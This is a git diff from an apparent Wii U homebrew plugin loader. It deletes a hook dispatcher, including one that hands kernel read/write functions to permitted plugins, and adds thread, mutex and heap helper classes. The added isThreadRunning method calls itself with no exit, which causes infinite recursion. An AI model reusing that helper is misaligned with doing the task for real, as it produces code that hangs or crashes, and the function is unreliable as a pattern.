-extern const uint32_t switchIconBaseHighlighted_png_size;
-
-extern const uint8_t switchIconOff_png[];
-extern const uint32_t switchIconOff_png_size;
-
-extern const uint8_t switchIconOn_png[];
-extern const uint32_t switchIconOn_png_size;
-
-extern const uint8_t TwitterIcon_png[];
-extern const uint32_t TwitterIcon_png_size;
-
-static ResourceFile ResourceList[] = {
-    {"font.ttf", font_ttf, font_ttf_size, NULL, 0},
-    {"gameSettingsButton.png", gameSettingsButton_png, gameSettingsButton_png_size, NULL, 0},
-    {"gameSettingsButtonEx.png", gameSettingsButtonEx_png, gameSettingsButtonEx_png_size, NULL, 0},
-    {"gameSettingsButtonExHighlighted.png", gameSettingsButtonExHighlighted_png, gameSettingsButtonExHighlighted_png_size, NULL, 0},
-    {"gameSettingsButtonExSelected.png", gameSettingsButtonExSelected_png, gameSettingsButtonExSelected_png_size, NULL, 0},
-    {"gameSettingsButtonSelected.png", gameSettingsButtonSelected_png, gameSettingsButtonSelected_png_size, NULL, 0},
-    {"GithubIcon.png", GithubIcon_png, GithubIcon_png_size, NULL, 0},
-    {"HomeButtonIcon.png", HomeButtonIcon_png, HomeButtonIcon_png_size, NULL, 0},
-    {"PlusButtonIcon.png", PlusButtonIcon_png, PlusButtonIcon_png_size, NULL, 0},
-    {"settings_click_2.mp3", settings_click_2_mp3, settings_click_2_mp3_size, NULL, 0},
-    {"switchIconBase.png", switchIconBase_png, switchIconBase_png_size, NULL, 0},
-    {"switchIconBaseHighlighted.png", switchIconBaseHighlighted_png, switchIconBaseHighlighted_png_size, NULL, 0},
-    {"switchIconOff.png", switchIconOff_png, switchIconOff_png_size, NULL, 0},
-    {"switchIconOn.png", switchIconOn_png, switchIconOn_png_size, NULL, 0},
-    {"TwitterIcon.png", TwitterIcon_png, TwitterIcon_png_size, NULL, 0},
-    {NULL, NULL, 0, NULL, 0}
-};
-
-ResourceFile * getResourceList() {
-    return ResourceList;
-}
-
diff --git a/src/settings/CSettings.h b/src/settings/CSettings.h
index ddbc1e6..1c5d342 100644
--- a/src/settings/CSettings.h
+++ b/src/settings/CSettings.h
@@ -21,7 +21,6 @@
 
 #include <string>
 #include <stdio.h>
-#include <dynamic_libs/os_types.h>
 #include <vector>
 
 class CSettings {
diff --git a/src/settings/ConfigSettings.cpp b/src/settings/ConfigSettings.cpp
index 8989f89..f89a667 100644
--- a/src/settings/ConfigSettings.cpp
+++ b/src/settings/ConfigSettings.cpp
@@ -208,7 +208,7 @@ bool ConfigSettings::Save(bool force) {
     std::string filepath = configPath + "/";
     filepath += fileName;
 
-    s32 res = open(filepath.c_str(), O_CREAT | O_TRUNC | O_WRONLY);
+    int32_t res = open(filepath.c_str(), O_CREAT | O_TRUNC | O_WRONLY);
     close(res);
 
     CFile file(filepath, CFile::WriteOnly);
diff --git a/src/settings/ConfigSettings.h b/src/settings/ConfigSettings.h
index c0c0d7a..b1e148d 100644
--- a/src/settings/ConfigSettings.h
+++ b/src/settings/ConfigSettings.h
@@ -21,7 +21,6 @@
 
 #include <string>
 #include <stdio.h>
-#include <dynamic_libs/os_types.h>
 #include <vector>
 #include <map>
 
diff --git a/src/system/AsyncDeleter.cpp b/src/system/AsyncDeleter.cpp
new file mode 100644
index 0000000..196a1e0
--- /dev/null
+++ b/src/system/AsyncDeleter.cpp
@@ -0,0 +1,63 @@
+/****************************************************************************
+ * Copyright (C) 2015 Dimok
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program.  If not, see <http://www.gnu.org/licenses/>.
+ ****************************************************************************/
+#include <system/AsyncDeleter.h>
+
+AsyncDeleter * AsyncDeleter::deleterInstance = NULL;
+
+AsyncDeleter::AsyncDeleter()
+    : CThread(CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff)
+    , exitApplication(false) {
+}
+
+AsyncDeleter::~AsyncDeleter() {
+    exitApplication = true;
+}
+
+void AsyncDeleter::triggerDeleteProcess(void) {
+    if(!deleterInstance){
+        return;
+    }
+
+    //! to trigger the event after GUI process is finished execution
+    //! this function is used to swap elements from one to next array
+    if(!deleterInstance->deleteElements.empty()) {
+        deleterInstance->deleteMutex.lock();
+        while(!deleterInstance->deleteElements.empty()) {
+            deleterInstance->realDeleteElements.push(deleterInstance->deleteElements.front());
+            deleterInstance->deleteElements.pop();
+        }
+        deleterInstance->deleteMutex.unlock();
+        deleterInstance->resumeThread();
+    }
+}
+
+void AsyncDeleter::executeThread(void) {
+    while(!exitApplication || !realDeleteElements.empty()) {
+        if(realDeleteElements.empty()) suspendThread();
+        //! delete elements that require post process deleting
+        //! because otherwise they would block or do invalid access on GUI thread
+        while(!realDeleteElements.empty()) {
+            deleteMutex.lock();
+            AsyncDeleter::Element *element = realDeleteElements.front();
+            realDeleteElements.pop();
+            deleteMutex.unlock();
+
+            delete element;
+        }
+    }
+
+}
diff --git a/src/system/AsyncDeleter.h b/src/system/AsyncDeleter.h
new file mode 100644
index 0000000..fc5dfea
--- /dev/null
+++ b/src/system/AsyncDeleter.h
@@ -0,0 +1,76 @@
+/****************************************************************************
+ * Copyright (C) 2015 Dimok
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program.  If not, see <http://www.gnu.org/licenses/>.
+ ****************************************************************************/
+#ifndef _ASYNC_DELETER_H
+#define _ASYNC_DELETER_H
+
+#include <queue>
+#include "CThread.h"
+#include "CMutex.h"
+
+class AsyncDeleter : public CThread {
+public:
+    static void destroyInstance() {
+        if(deleterInstance != NULL) {
+            delete deleterInstance;
+            deleterInstance = NULL;
+        }
+    }
+
+    class Element {
+    public:
+        Element() {}
+        virtual ~Element() {}
+    };
+
+    static void pushForDelete(AsyncDeleter::Element *e) {
+        if(!deleterInstance) {
+            deleterInstance = new AsyncDeleter();
+        }
+        deleterInstance->deleteElements.push(e);
+    }
+
+    static BOOL deleteListEmpty() {
+        if(!deleterInstance) {
+            return true;
+        }
+        return deleterInstance->deleteElements.empty();
+    }
+
+    static BOOL realListEmpty() {
+        if(!deleterInstance) {
+            return true;
+        }
+        return deleterInstance->realDeleteElements.empty();
+    }
+
+    static void triggerDeleteProcess(void);
+
+private:
+    AsyncDeleter();
+    virtual ~AsyncDeleter();
+
+    static AsyncDeleter *deleterInstance;
+
+    void executeThread(void);
+
+    BOOL exitApplication;
+    std::queue<AsyncDeleter::Element *> deleteElements;
+    std::queue<AsyncDeleter::Element *> realDeleteElements;
+    CMutex deleteMutex;
+};
+
+#endif // _ASYNC_DELETER_H
diff --git a/src/plugin/FunctionData.h b/src/system/CMutex.h
similarity index 52%
rename from src/plugin/FunctionData.h
rename to src/system/CMutex.h
index 0fc2f1c..76f23ac 100644
--- a/src/plugin/FunctionData.h
+++ b/src/system/CMutex.h
@@ -1,5 +1,5 @@
 /****************************************************************************
- * Copyright (C) 2018 Maschell
+ * Copyright (C) 2015 Dimok
  *
  * This program is free software: you can redistribute it and/or modify
  * it under the terms of the GNU General Public License as published by
@@ -14,49 +14,56 @@
  * You should have received a copy of the GNU General Public License
  * along with this program.  If not, see <http://www.gnu.org/licenses/>.
  ****************************************************************************/
+#ifndef _CMUTEX_H_
+#define _CMUTEX_H_
 
-#ifndef _FUNCTION_DATA_H_
-#define _FUNCTION_DATA_H_
-
-#include <wups.h>
-#include <string>
-
-class FunctionData {
+#include <malloc.h>
+#include <coreinit/mutex.h>
 
+class CMutex
+{
 public:
-    FunctionData(const char * name, wups_loader_library_type_t library, void * target, void * call_addr) {
-        this->name = name;
-        this->library = library;
-        this->replaceAddr = target;
-        this->replaceCall = call_addr;
+    CMutex() {
+        pMutex = (OSMutex*) malloc(sizeof(OSMutex));
+        if(!pMutex)
+            return;
+
+        OSInitMutex(pMutex);
+    }
+    virtual ~CMutex() {
+        if(pMutex)
+            free(pMutex);
     }
 
-    ~FunctionData() {
-
+    void lock(void) {
+        if(pMutex)
+            OSLockMutex(pMutex);
     }
-
-    std::string getName() {
-        return this->name;
+    void unlock(void) {
+        if(pMutex)
+            OSUnlockMutex(pMutex);
     }
+    BOOL tryLock(void) {
+        if(!pMutex)
+            return false;
 
-    wups_loader_library_type_t getLibrary() {
-        return this->library;
+        return (OSTryLockMutex(pMutex) != 0);
     }
-
-    void * getReplaceAddress() {
-        return replaceAddr;
-    }
-
-    void * getReplaceCall() {
-        return replaceCall;
-    }
-
 private:
-    std::string name;
-    wups_loader_library_type_t library;
-    void * replaceAddr = NULL;
-    void * replaceCall = NULL;
+    OSMutex *pMutex;
 };
 
+class CMutexLock
+{
+public:
+    CMutexLock() {
+        mutex.lock();
+    }
+    virtual ~CMutexLock() {
+        mutex.unlock();
+    }
+private:
+    CMutex mutex;
+};
 
-#endif
+#endif // _CMUTEX_H_
diff --git a/src/system/CThread.h b/src/system/CThread.h
new file mode 100644
index 0000000..21a1700
--- /dev/null
+++ b/src/system/CThread.h
@@ -0,0 +1,133 @@
+/****************************************************************************
+ * Copyright (C) 2015 Dimok
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program.  If not, see <http://www.gnu.org/licenses/>.
+ ****************************************************************************/
+#ifndef CTHREAD_H_
+#define CTHREAD_H_
+
+
+#include <malloc.h>
+#include <unistd.h>
+#include <coreinit/systeminfo.h>
+#include <coreinit/thread.h>
+
+class CThread {
+public:
+    typedef void (* Callback)(CThread *thread, void *arg);
+
+    //! constructor
+    CThread(int32_t iAttr, int32_t iPriority = 16, int32_t iStackSize = 0x8000, CThread::Callback callback = NULL, void *callbackArg = NULL)
+        : pThread(NULL)
+        , pThreadStack(NULL)
+        , pCallback(callback)
+        , pCallbackArg(callbackArg) {
+        //! save attribute assignment
+        iAttributes = iAttr;
+        //! allocate the thread
+        pThread = (OSThread*)memalign(8, sizeof(OSThread));
+        //! allocate the stack
+        pThreadStack = (uint8_t *) memalign(0x20, iStackSize);
+        //! create the thread
+        if(pThread && pThreadStack)
+            OSCreateThread(pThread, &CThread::threadCallback, 1, (char*)this, pThreadStack+iStackSize, iStackSize, iPriority, iAttributes);
+    }
+
+    //! destructor
+    virtual ~CThread() {
+        shutdownThread();
+    }
+
+    static CThread *create(CThread::Callback callback, void *callbackArg, int32_t iAttr = eAttributeNone, int32_t iPriority = 16, int32_t iStackSize = 0x8000) {
+        return ( new CThread(iAttr, iPriority, iStackSize, callback, callbackArg) );
+    }
+
+    //! Get thread ID
+    virtual void* getThread() const {
+        return pThread;
+    }
+    //! Thread entry function
+    virtual void executeThread(void) {
+        if(pCallback)
+            pCallback(this, pCallbackArg);
+    }
+    //! Suspend thread
+    virtual void suspendThread(void) {
+        if(isThreadSuspended()) return;
+        if(pThread) OSSuspendThread(pThread);
+    }
+    //! Resume thread
+    virtual void resumeThread(void) {
+        if(!isThreadSuspended()) return;
+        if(pThread) OSResumeThread(pThread);
+    }
+    //! Set thread priority
+    virtual void setThreadPriority(int prio) {
+        if(pThread) OSSetThreadPriority(pThread, prio);
+    }
+    //! Check if thread is suspended
+    virtual BOOL isThreadSuspended(void) const {
+        if(pThread) return OSIsThreadSuspended(pThread);
+        return false;
+    }
+    //! Check if thread is terminated
+    virtual BOOL isThreadTerminated(void) const {
+        if(pThread) return OSIsThreadTerminated(pThread);
+        return false;
+    }
+    //! Check if thread is running
+    virtual BOOL isThreadRunning(void) const {
+        return !isThreadSuspended() && !isThreadRunning();
+    }
+    //! Shutdown thread
+    virtual void shutdownThread(void) {
+        //! wait for thread to finish
+        if(pThread && !(iAttributes & eAttributeDetach)) {
+            if(isThreadSuspended())
+                resumeThread();
+
+            OSJoinThread(pThread, NULL);
+        }
+        //! free the thread stack buffer
+        if(pThreadStack)
+            free(pThreadStack);
+        if(pThread)
+            free(pThread);
+
+        pThread = NULL;
+        pThreadStack = NULL;
+    }
+    //! Thread attributes
+    enum eCThreadAttributes {
+        eAttributeNone              = 0x07,
+        eAttributeAffCore0          = 0x01,
+        eAttributeAffCore1          = 0x02,
+        eAttributeAffCore2          = 0x04,
+        eAttributeDetach            = 0x08,
+        eAttributePinnedAff         = 0x10
+    };
+private:
+    static int threadCallback(int argc, const char **argv) {
+        //! After call to start() continue with the internal function
+        ((CThread *) argv)->executeThread();
+        return 0;
+    }
+    int iAttributes;
+    OSThread *pThread;
+    uint8_t *pThreadStack;
+    Callback pCallback;
+    void *pCallbackArg;
+};
+
+#endif
diff --git a/src/system/memory.c b/src/system/memory.c
new file mode 100644
index 0000000..a3ad26c
--- /dev/null
+++ b/src/system/memory.c
@@ -0,0 +1,197 @@
+/****************************************************************************
+ * Copyright (C) 2015 Dimok
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program.  If not, see <http://www.gnu.org/licenses/>.
+ ****************************************************************************/
+#include <malloc.h>
+#include <string.h>
+#include <coreinit/memheap.h>
+#include <coreinit/memfrmheap.h>
+#include <coreinit/memexpheap.h>
+#include "memory.h"
+
+#define MEMORY_ARENA_1          0
+#define MEMORY_ARENA_2          1
+#define MEMORY_ARENA_3          2
+#define MEMORY_ARENA_4          3
+#define MEMORY_ARENA_5          4
+#define MEMORY_ARENA_6          5
+#define MEMORY_ARENA_7          6
+#define MEMORY_ARENA_8          7
+#define MEMORY_ARENA_FG_BUCKET  8
+
+//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
+//! Memory functions
+//! This is the only place where those are needed so lets keep them more or less private
+//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
+static MEMHeapHandle mem1_heap = NULL;
+static MEMHeapHandle bucket_heap = NULL;
+
+void memoryInitialize(void)
+{
+    if(!mem1_heap)
+    {
+        MEMHeapHandle mem1_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_1);
+        unsigned int mem1_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(mem1_heap_handle, 4);
+        void *mem1_memory = MEMAllocFromFrmHeapEx(mem1_heap_handle, mem1_allocatable_size, 4);
+        if(mem1_memory)
+            mem1_heap = MEMCreateExpHeapEx(mem1_memory, mem1_allocatable_size, 0);
+    }
+
+    if(!bucket_heap)
+    {
+        MEMHeapHandle bucket_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET);
+        unsigned int bucket_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(bucket_heap_handle, 4);
+        void *bucket_memory = MEMAllocFromFrmHeapEx(bucket_heap_handle, bucket_allocatable_size, 4);
+        if(bucket_memory)
+            bucket_heap = MEMCreateExpHeapEx(bucket_memory, bucket_allocatable_size, 0);
+    }
+}
+
+void memoryRelease(void)
+{
+    if(mem1_heap)
+    {
+        MEMDestroyExpHeap(mem1_heap);
+        MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_1), 3);
+        mem1_heap = NULL;
+    }
+    if(bucket_heap)
+    {
+        MEMDestroyExpHeap(bucket_heap);
+        MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET), 3);
+        bucket_heap = NULL;
+    }
+}
+/*
+//!-------------------------------------------------------------------------------------------
+//! wraps
+//!-------------------------------------------------------------------------------------------
+void *__wrap_malloc(size_t size)
+{
+    // pointer to a function resolve
+	return ((void * (*)(size_t))(*pMEMAllocFromDefaultHeap))(size);
+}
+
+void *__wrap_memalign(size_t align, size_t size)
+{
+    if (align < 4)
+        align = 4;
+
+    // pointer to a function resolve
+    return ((void * (*)(size_t, size_t))(*pMEMAllocFromDefaultHeapEx))(size, align);
+}
+
+void __wrap_free(void *p)
+{
+    // pointer to a function resolve
+    if(p != 0)
+        ((void (*)(void *))(*pMEMFreeToDefaultHeap))(p);
+}
+
+void *__wrap_calloc(size_t n, size_t size)
+{
+    void *p = __wrap_malloc(n * size);
+	if (p != 0) {
+		memset(p, 0, n * size);
+	}
+	return p;
+}
+
+size_t __wrap_malloc_usable_size(void *p)
+{
+    //! TODO: this is totally wrong and needs to be addressed
+	return 0x7FFFFFFF;
+}
+
+void *__wrap_realloc(void *p, size_t size)
+{
+    void *new_ptr = __wrap_malloc(size);
+	if (new_ptr != 0)
+	{
+		memcpy(new_ptr, p, __wrap_malloc_usable_size(p) < size ? __wrap_malloc_usable_size(p) : size);
+		__wrap_free(p);
+	}
+	return new_ptr;
+}
+
+//!-------------------------------------------------------------------------------------------
+//! reent versions
+//!-------------------------------------------------------------------------------------------
+void *__wrap__malloc_r(struct _reent *r, size_t size)
+{
+	return __wrap_malloc(size);
+}
+
+void *__wrap__calloc_r(struct _reent *r, size_t n, size_t size)
+{
+    return __wrap_calloc(n, size);
+}
+
+void *__wrap__memalign_r(struct _reent *r, size_t align, size_t size)
+{
+    return __wrap_memalign(align, size);
+}
+
+void __wrap__free_r(struct _reent *r, void *p)
+{
+    __wrap_free(p);
+}
+
+size_t __wrap__malloc_usable_size_r(struct _reent *r, void *p)
+{
+    return __wrap_malloc_usable_size(p);
+}
+
+void *__wrap__realloc_r(struct _reent *r, void *p, size_t size)
+{
+    return __wrap_realloc(p, size);
+}
+*/
+//!-------------------------------------------------------------------------------------------
+//! some wrappers
+//!-------------------------------------------------------------------------------------------
+void * MEM2_alloc(unsigned int size, unsigned int align)
+{
+    return memalign(align, size);
+}
+
+void MEM2_free(void *ptr)
+{
+    free(ptr);
+}
+
+void * MEM1_alloc(unsigned int size, unsigned int align)
+{
+    if (align < 4)
+        align = 4;
+    return MEMAllocFromExpHeapEx(mem1_heap, size, align);
+}
+
+void MEM1_free(void *ptr)
+{
+    MEMFreeToExpHeap(mem1_heap, ptr);
+}
+
+void * MEMBucket_alloc(unsigned int size, unsigned int align)
+{
+    if (align < 4)
+        align = 4;
+    return MEMAllocFromExpHeapEx(bucket_heap, size, align);
+}
+
+void MEMBucket_free(void *ptr)
+{
+    MEMFreeToExpHeap(bucket_heap, ptr);
+}
diff --git a/src/plugin/HookData.h b/src/system/memory.h
similarity index 60%
rename from src/plugin/HookData.h
rename to src/system/memory.h
index 1884002..59764d0 100644
--- a/src/plugin/HookData.h
+++ b/src/system/memory.h
@@ -1,5 +1,5 @@
 /****************************************************************************
- * Copyright (C) 2018 Maschell
+ * Copyright (C) 2015 Dimok
  *
  * This program is free software: you can redistribute it and/or modify
  * it under the terms of the GNU General Public License as published by
@@ -14,36 +14,29 @@
  * You should have received a copy of the GNU General Public License
  * along with this program.  If not, see <http://www.gnu.org/licenses/>.
  ****************************************************************************/
+#ifndef __MEMORY_H_
+#define __MEMORY_H_
 
-#ifndef _HOOK_DATA_H_
-#define _HOOK_DATA_H_
-
-#include <wups.h>
-#include <string>
-
-class HookData {
-
-public:
-    HookData(void * function_pointer, wups_loader_hook_type_t type) {
-        this->function_pointer = function_pointer;
-        this->type = type;
-    }
-
-    ~HookData() {
-
-    }
-
-    void * getFunctionPointer() {
-        return function_pointer;
-    }
-
-    wups_loader_hook_type_t getType() {
-        return this->type;
-    }
-private:
-    void * function_pointer;
-    wups_loader_hook_type_t type;
-};
-
-
+#ifdef __cplusplus
+extern "C" {
 #endif
+
+#include <malloc.h>
+
+void memoryInitialize(void);
+void memoryRelease(void);
+
+void * MEM2_alloc(unsigned int size, unsigned int align);
+void MEM2_free(void *ptr);
+
+void * MEM1_alloc(unsigned int size, unsigned int align);
+void MEM1_free(void *ptr);
+
+void * MEMBucket_alloc(unsigned int size, unsigned int align);
+void MEMBucket_free(void *ptr);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif // __MEMORY_H_
diff --git a/src/utils.cpp b/src/utils.cpp
deleted file mode 100644
index 61c7889..0000000
--- a/src/utils.cpp
+++ /dev/null
@@ -1,162 +0,0 @@
-#include <string>
-#include <string.h>
-#include <stdlib.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdio.h>
-#include <malloc.h>
-
-#include <utils/logger.h>
-#include <wups.h>
-
-#include "utils.h"
-#include <utils/logger.h>
-#include "common/common.h"
-#include "common/retain_vars.h"
-#include "myutils/overlay_helper.h"
-#include "myutils/mem_utils.h"
-#include "myutils/texture_utils.h"
-#include "kernel/syscalls.h"
-
-void CallHook(wups_loader_hook_type_t hook_type) {
-    CallHookEx(hook_type,-1);
-}
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-// Part of libutils
-extern uint32_t kern_read(const void *addr);
-extern void kern_write(void *addr, uint32_t value);
-#ifdef __cplusplus
-}
-#endif
-
-
-bool HasHookCallHook(wups_loader_hook_type_t hook_type) {
-    for(int32_t plugin_index=0; plugin_index<gbl_replacement_data.number_used_plugins; plugin_index++) {
-        replacement_data_plugin_t * plugin_data = &gbl_replacement_data.plugin_data[plugin_index];
-
-        for(int32_t j=0; j<plugin_data->number_used_hooks; j++) {
-            replacement_data_hook_t * hook_data = &plugin_data->hooks[j];
-            if(hook_data->type == hook_type) {
-                return true;
-            }
-        }
-    }
-    return false;
-}
-
-void CallHookEx(wups_loader_hook_type_t hook_type, int32_t plugin_index_needed) {
-    for(int32_t plugin_index=0; plugin_index<gbl_replacement_data.number_used_plugins; plugin_index++) {
-        replacement_data_plugin_t * plugin_data = &gbl_replacement_data.plugin_data[plugin_index];
-        if(plugin_index_needed != -1 && plugin_index_needed != plugin_index) {
-            continue;
-        }
-
-#warning TODO: change the order of the wups_loader_hook_type_t enum before an offical release.
-        //DEBUG_FUNCTION_LINE("Checking hook functions for %s.\n",plugin_data->plugin_name);
-        //DEBUG_FUNCTION_LINE("Found hooks: %d\n",plugin_data->number_used_hooks);
-        for(int32_t j=0; j<plugin_data->number_used_hooks; j++) {
-            replacement_data_hook_t * hook_data = &plugin_data->hooks[j];
-            if(hook_data->type == hook_type) {
-                //DEBUG_FUNCTION_LINE("Calling hook of type %d for plugin %s\n",hook_data->type,plugin_data->plugin_name);
-                void * func_ptr = hook_data->func_pointer;
-                //TODO: Switch cases depending on arguments etc.
-                // Adding arguments!
-                if(func_ptr != NULL) {
-                    if(hook_type == WUPS_LOADER_HOOK_INIT_FS) {
-                        wups_loader_init_fs_args_t args;
-                        // open is defined as "extern int open (const char *, int, ...);", we are ignoring the varargs part
-                        args.open_repl = (OpenFunction) &open;
-                        args.close_repl = &close;
-                        args.write_repl = &write;
-                        args.read_repl = &read;
-                        args.lseek_repl = &lseek;
-                        args.stat_repl = &stat;
-                        args.fstat_repl = &fstat;
-                        args.opendir_repl = &opendir;
-                        args.closedir_repl = &closedir;
-                        args.readdir_repl = &readdir;
-                        args.mkdir_repl = &mkdir;
-                        ((void (*)(wups_loader_init_fs_args_t))((uint32_t*)func_ptr) )(args);
-                    } else if(hook_type == WUPS_LOADER_HOOK_INIT_OVERLAY) {
-                        wups_loader_init_overlay_args_t args;
-                        args.overlayfunction_ptr = &overlay_helper;
-                        args.textureconvertfunction_ptr = &TextureUtils::convertImageToTexture;
-                        args.drawtexturefunction_ptr = (void (*)(void*,void*,float,float,int32_t,int32_t,float)) &TextureUtils::drawTexture;
-                        ((void (*)(wups_loader_init_overlay_args_t))((uint32_t*)func_ptr) )(args);
-                    } else if(hook_type == WUPS_LOADER_HOOK_INIT_PLUGIN) {
-                        ((void (*)(void))((uint32_t*)func_ptr) )();
-                    } else if(hook_type == WUPS_LOADER_HOOK_DEINIT_PLUGIN) {
-                        ((void (*)(void))((uint32_t*)func_ptr) )();
-                    } else if(hook_type == WUPS_LOADER_HOOK_STARTING_APPLICATION) {
-                        wups_loader_app_started_args_t args;
-                        memset(&args,0,sizeof(args));
-                        if(gSDInitDone & WUPS_SD_MOUNTED) {
-                            args.sd_mounted = true;
-                        }
-                        if(gSDInitDone & WUPS_USB_MOUNTED) {
-                            args.usb_mounted = true;
-                        }
-                        if(plugin_data->kernel_allowed && plugin_data->kernel_init_done) {
-                            args.kernel_access = true;
-                        }
-                        ((void (*)(wups_loader_app_started_args_t))((uint32_t*)func_ptr) )(args);
-                    } else if(hook_type == WUPS_LOADER_HOOK_FUNCTIONS_PATCHED) {
-                        ((void (*)(void))((uint32_t*)func_ptr))();
-                    } else if(hook_type == WUPS_LOADER_HOOK_ENDING_APPLICATION) {
-                        ((void (*)(void))((uint32_t*)func_ptr))();
-                    } else if(hook_type == WUPS_LOADER_HOOK_VSYNC) {
-                        ((void (*)(void))((uint32_t*)func_ptr))();
-                    } else if(hook_type == WUPS_LOADER_HOOK_APP_STATUS_CHANGED) {
-                        wups_loader_app_status_t status;
-                        if(gAppStatus == 0) {
-                            status = WUPS_APP_STATUS_FOREGROUND;
-                        } else if(gAppStatus == 2) {
-                            status = WUPS_APP_STATUS_BACKGROUND;
-                        } else if(gAppStatus == 3) {
-                            status = WUPS_APP_STATUS_CLOSED;
-                        } else {
-                            status = WUPS_APP_STATUS_UNKNOWN;
-                        }
-                        ((void (*)(wups_loader_app_status_t))((uint32_t*)func_ptr))(status);
-                    } else if(hook_type == WUPS_LOADER_HOOK_INIT_KERNEL) {
-                        // Only call the hook if kernel is allowed.
-                        if(plugin_data->kernel_allowed) {
-                            wups_loader_init_kernel_args_t args;
-                            args.kern_read_ptr = &kern_read;
-                            args.kern_write_ptr = &kern_write;
-                            args.kern_copy_data_ptr = &SC0x25_KernelCopyData;
-                            ((void (*)(wups_loader_init_kernel_args_t))((uint32_t*)func_ptr) )(args);
-                            plugin_data->kernel_init_done = true;
-                        }
-                    } else if(hook_type == WUPS_LOADER_HOOK_INIT_VID_MEM) {
-                        wups_loader_init_vid_mem_args_t args;
-                        args.vid_mem_alloc_ptr = &MemoryUtils::alloc;
-                        args.vid_mem_free_ptr = &MemoryUtils::free;
-                        ((void (*)(wups_loader_init_vid_mem_args_t))((uint32_t*)func_ptr) )(args);
-                    } else if(hook_type == WUPS_LOADER_HOOK_VID_DRC_DRAW) {
-                        wups_loader_vid_buffer_t args;
-                        args.color_buffer_ptr = &g_vid_main_cbuf;
-                        args.tv_texture_ptr = &g_vid_tvTex;
-                        args.drc_texture_ptr = &g_vid_drcTex;
-                        args.sampler_ptr = &g_vid_sampler;
-                        ((void (*)(wups_loader_vid_buffer_t))((uint32_t*)func_ptr) )(args);
-                    } else if(hook_type == WUPS_LOADER_HOOK_VID_TV_DRAW) {
-                        wups_loader_vid_buffer_t args;
-                        args.color_buffer_ptr = &g_vid_main_cbuf;
-                        args.tv_texture_ptr = &g_vid_tvTex;
-                        args.drc_texture_ptr = &g_vid_drcTex;
-                        args.sampler_ptr = &g_vid_sampler;
-                        ((void (*)(wups_loader_vid_buffer_t))((uint32_t*)func_ptr) )(args);
-                    } else {
-                        DEBUG_FUNCTION_LINE("ERROR: HOOK TYPE WAS NOT IMPLEMENTED %08X \n",hook_type);
-                    }
-                } else {
-                    DEBUG_FUNCTION_LINE("Failed to call hook. It was not defined\n");
-                }
-            }
-        }
-    }
-}
diff --git a/src/utils.h b/src/utils.h
deleted file mode 100644
index 7842f13..0000000
--- a/src/utils.h
+++ /dev/null
@@ -1,21 +0,0 @@
-#ifndef _OWN_UTILS_H_
-#define _OWN_UTILS_H_
-
-/* Main */
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-#include <wups.h>
-#include <stddef.h>
-
-bool HasHookCallHook(wups_loader_hook_type_t hook_type);
-void CallHook(wups_loader_hook_type_t hook_type);
-
-void CallHookEx(wups_loader_hook_type_t hook_type, int32_t plugin_index_needed);
-
-#ifdef __cplusplus
-}
-#endif
-
-#endif
diff --git a/src/utils/StringTools.cpp b/src/utils/StringTools.cpp
new file mode 100644
index 0000000..c1d672a
--- /dev/null
+++ b/src/utils/StringTools.cpp
@@ -0,0 +1,210 @@
+/***************************************************************************
+ * Copyright (C) 2010
+ * by Dimok
+ *
+ * This software is provided 'as-is', without any express or implied
+ * warranty. In no event will the authors be held liable for any
+ * damages arising from the use of this software.
+ *
+ * Permission is granted to anyone to use this software for any
+ * purpose, including commercial applications, and to alter it and
+ * redistribute it freely, subject to the following restrictions:
+ *
+ * 1. The origin of this software must not be misrepresented; you
+ * must not claim that you wrote the original software. If you use
+ * this software in a product, an acknowledgment in the product
+ * documentation would be appreciated but is not required.
+ *
+ * 2. Altered source versions must be plainly marked as such, and
+ * must not be misrepresented as being the original software.
+ *
+ * 3. This notice may not be removed or altered from any source
+ * distribution.
+ *
+ * for WiiXplorer 2010
+ ***************************************************************************/
+#include <vector>
+#include <string>
+#include <string.h>
+#include <stdarg.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <wchar.h>
+#include <strings.h>
+#include <wut_types.h>
+#include <stdio.h>
+#include <utils/StringTools.h>
+
+
